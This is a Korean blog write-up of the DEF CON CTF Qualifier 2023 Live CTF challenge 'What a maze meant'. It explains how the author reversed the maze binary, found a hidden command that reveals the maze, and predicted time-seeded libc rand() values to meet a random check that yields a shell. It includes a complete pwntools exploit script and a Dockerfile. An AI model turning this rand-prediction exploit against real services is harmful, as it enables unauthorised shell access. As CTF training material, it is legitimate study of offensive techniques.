CTF

[DEF CON CTF Qualifier 2023] Live CTF : What a maze meant

name2965 2023. 5. 31. 22:03
728x90

 

 

 

 

 

 

주말에 BoB 자소서를 쓰다가 선배님이 데프콘 예선을 뛰고 있다고 연락이 왔습니다.

 

 

그래서 부럽다는 생각을 하고있었는데, 선배님이 데프콘 예선은 누구나 참가할수있다고 하셔서

 

 

저는 우선 데프콘 예선 문제들은 어느정도 수준일지 궁금하기도 하고 

 

 

곧있으면 국내 메이저 CTF가 시작하기도 해서, 저의 버킷리스트중 하나인

 

 

데프콘 본선 진출해보기를 이루기 위한 경험을 쌓기 위해서 한번 참가해봤습니다.

 

 

 

문제들을 둘러보니 역시나 데프콘 답게 예선인데도 불구하고

 

 

문제들 수준이 왠만한 메이저 대회 본선급으로 난이도가 미쳐 날뛰고 있었습니다.

 

 

데프콘을 처음 경험해봐서 문제 시스템도 생소하기도 해서 뭐라도 푸는것이 불가능한가 싶었는데

 

 

데프콘 예선에서 Live CTF를 연습할수 있는 문제들이 나온다는것을 보고 

 

 

예전부터 한번 풀어보고 싶었던 Live CTF라도 풀어보자는 마인드로 열심히 풀었습니다.

 

 

 

 

 

 

Live CTF 는 이런식으로 로컬에서 서버환경을 만들수있는 도커환경을 제공해줍니다.

 

test-solution.sh를 실행시키면 도커이미지 빌드부터 exploit 폴더에 작성해둔 익스플로잇 코드를

직접 테스트 시켜주기까지 하는 편리한 파일을 제공해줍니다.

 

 

이런식으로 진행하는 포너블은 처음이라서 많이 신기했습니다.

 

 

 

 

 

handout 폴더에 이렇게 문제파일이 주어집니다.

 

challenge 파일이 익스플로잇 해야하는 서버파일 이므로 이 파일을 분석해봐야 합니다.

 

 

우선 이 파일의 보호기법을 확인해보면

 

 

 

 

64비트 기반 실행파일이고 모든 보호기법이 다 걸려있습니다.

 

 

처음부터 상당히 어려울거 같은데 한번 실행시켜보면

 

 

 

 

이런식으로 처음에는 미로를 랜덤하게 생성하는 것으로 보이고

 

미로는 주어지지 않고 자신의 위치 좌표와 무슨 문장이 나타납니다.

 

w,e,n,s 를 사용하면 동서남북으로 움직이고 q를 누르면 프로그램이 종료됩니다.

 

그리고 움직일때마다 문장이 조금씩 변하는것이 눈에보입니다.

 

 

 

하지만 미로가 보이지 않고 뭔지 모르겠는 문장과 자신의 좌표만 주어지기 때문에

 

어떻게 미로를 탈출하라는건지 모르겠습니다.

 

 

이제 IDA로 프로그램을 분석해봐야 합니다.

 

 

main함수를 확인해보면

 

 

 

 

 

전체적으로 이렇게 구성되어있습니다.

 

로직을 차근차근 분석해보면

 

 

 

 

처음에는 현재 시간을 기준으로 랜덤시드를 설정하고

generate_maze 함수에서 랜덤값을 이용해서 미로를 생성합니다.

 

 

 

 

 

그리고 반복문을 돌면서 미로를 탈출하는 로직이 나오는데

randomDescription이라는 함수가 호출되는데, 이 함수는 아까전에 실행했을때 나온 

임의의 글을 생성하는 로직입니다.

 

 

 

그리고 main함수에 있는 jmp rax로직이 무슨 로직인지 살펴보니

 

 

 

 

n,s,w,e,q 중에서 하나를 선택했을때 'a'와 뺀뒤 어떤 전역변수에서 데이터를 가져와서 

연산을 한뒤 그 주소로 점프를 하는데

 

직접 계산해본 결과

 

 

n,s,w,e 를 입력하면 오른쪽에 각각 맞는 동작을 하는 코드로 점프를 하게 되고 나머지는 그냥 로직을 넘어가는데

 

특이한것은 여기서 a를 입력하게 된다면 show_maze가 1로 설정됩니다.

 

 

 

 

 

기존 IDA에는 show_maze값을 바꿀만한 로직이 보이지 않아서 이것을 어떻게 트리깅 해야하나 고민했지만

 

a를 입력하게되면 값이 설정되면서 이 다음 부터 미로에서 움직일때마다 미로가 출력되는 방식으로 진행됩니다.

 

 

이 방법을 알게 되었으니 이제 미로탐색 코드만 작성하면 이 문제에 있는 winner 함수를 호출시킬수 있을거 같지만

 

 

 

 

 

 

그 전에 거쳐야하는 관문이 있습니다.

 

랜덤값을 뽑아낸뒤 그 값을 1213과 나눴을때 나머지가 1212 여야만 미로를 탈출하고 쉘을 얻을수 있고

 

만약 해당 조건이 충족하지 않는다면 나갔을때 짐승 때문에 죽었다는 메세지만 나오고 끝납니다.

 

 

그래서 저는 도데체 이걸 어떻게 해야하는지, 혹시 이 방법이 헛발질 이였는지에 대해서 고민을 했는데

 

평소에 풀던 워게임 문제라면 불가능 하겠지만, 이 문제는 Live CTF 문제입니다.

 

로컬에서 도커환경을 구축해서 서버를 실행하는것이고 립씨 파일이 이미 주어졌기 때문에

 

이 립씨파일을 ctypes 라이브러리를 사용해서 가져와서 서버에 원격연결을 하고나서 바로 

 

현재 시간을 기준으로 랜덤시드를 설정해서 랜덤값을 예측해보는 방식으로 문제에 접근했습니다.

 

 

단 이 방법을 사용할때는 지금까지 랜덤함수가 얼마나 사용되었는지 정확하게 파악해야합니다.

 

저는 랜덤값을 뽑아내는것을 한번 빼먹은것 때문에 제한시간내에 제출하지 못했습니다.

 

뒤늦게나마 한번 더 뽑아서 익스플로잇에 성공했지만, 정말 아쉽습니다.

 

 

 

랜덤 함수는 미로생성 함수와 랜덤디스크립션 함수가 사용될때마다 몇번 사용됩니다.

 

미로생성 함수는 재귀함수여서 정확히 몇번 랜덤 함수가 사용되는지 파악하기 힘들지만

 

다행히도 이 프로그램에서 랜덤함수가 사용될때는 항상 전역변수값을 1씩 증가 시키기 때문에

 

gdb를 보면서 이 값을 참고하면 됩니다.

 

 

이 문제에서 미로탐색 코드를 작성할때 완탐 알고리즘을 사용하면 되는데

 

미로탈출 특성상 BFS로 구현하는것은 까다로워지므로 DFS를 활용해서 코드를 작성했습니다.

 

 

 

 

 

설령 미로탐색 알고리즘이 제대로 작동하더라도 마지막에 통과하기 전에 위의 조건이 성립하지 않으면

 

쉘을 얻을수 없습니다.

 

 

이 문제를 분석해보면 n,s,w,e,q,a 를 입력하지 않으면 

 

플레이어가 움직이지 않지만 랜덤디스크립션 함수가 계속해서 호출되는 구조로 만들어져있으므로

 

계속 다른 값을 입력해서 랜덤함수를 호출시키다가 다음 랜덤함수가 위의 조건을 만족한다면 

 

미로를 탈출해서 쉘을 얻는 방식으로 익스를 작성했습니다.

 

 

 

from pwn import *
from ctypes import CDLL

HOST = os.environ.get('HOST', 'localhost')
PORT = 31337
libc = CDLL('libc.so.6')
#context.log_level = 'debug'

p = remote(HOST,PORT)
libc.srand(libc.time(0))

for i in range(0x24e):
    libc.rand()

maze = []
dx = [1,-1,0,0]
dy = [0,0,1,-1]
corsur = ['e','w','s','n']

def search(x,y,res):
    if(maze[y][x] == '*'):
        return res
    maze[y][x] = '#'

    for i in range(4):
        tmp_x = x + dx[i]
        tmp_y = y + dy[i]
        if(tmp_x >= 29 or tmp_x < 0 or tmp_y >= 29 or tmp_y < 0 or maze[tmp_y][tmp_x] == '#'):
            continue
        res2 = search(tmp_x,tmp_y,res+corsur[i])
        if res2:
            return res2
    maze[y][x] = '.'
    return False

p.sendlineafter(b"torment: ",b'a')
libc.rand()
p.recvuntil(b"maze.\n")

for i in range(29):
    tmp = p.recvline()[:-1]
    tmp2 = []
    for j in range(29):
        tmp2.append(chr(tmp[j]))
    maze.append(tmp2)

command = search(1,1,'')

for i in range(len(command)-1):
    p.sendlineafter(b'torment:',command[i].encode())
    libc.rand()

while True:
    var = libc.rand()
    if var % 1213 == 1212:
        break
    p.sendlineafter(b'torment:',b'`')

p.sendlineafter(b'torment:',command[len(command)-1].encode())

#p.sendlineafter(b'have solved the maze!',b'./submitter')
#print(p.recvall(timeout=5))

p.interactive()

solve-template.py

 

 

 

FROM livectf/livectf:quals-exploit

COPY solve-template.py /solve.py
COPY libc.so.6 /libc.so.6

WORKDIR /
CMD ["python3", "solve.py"]

Dockerfile

 

 

 

 

실행시켜보면 아래와 같이 익스가 잘 동작한다는것을 볼수 있습니다.

 

 

728x90

'CTF' 카테고리의 다른 글

DefCamp CTF 2024 Quals Writeup [Pwn]  (2) 2024.10.02
[DEF CON CTF Qualifier 2023] Live CTF : Test Your Luck  (0) 2023.06.02
2023 TAMUctf write-up  (0) 2023.05.15
[2023 root access CTF] write-up  (3) 2023.05.02
[2023 FooBar CTF] Write-up  (0) 2023.03.14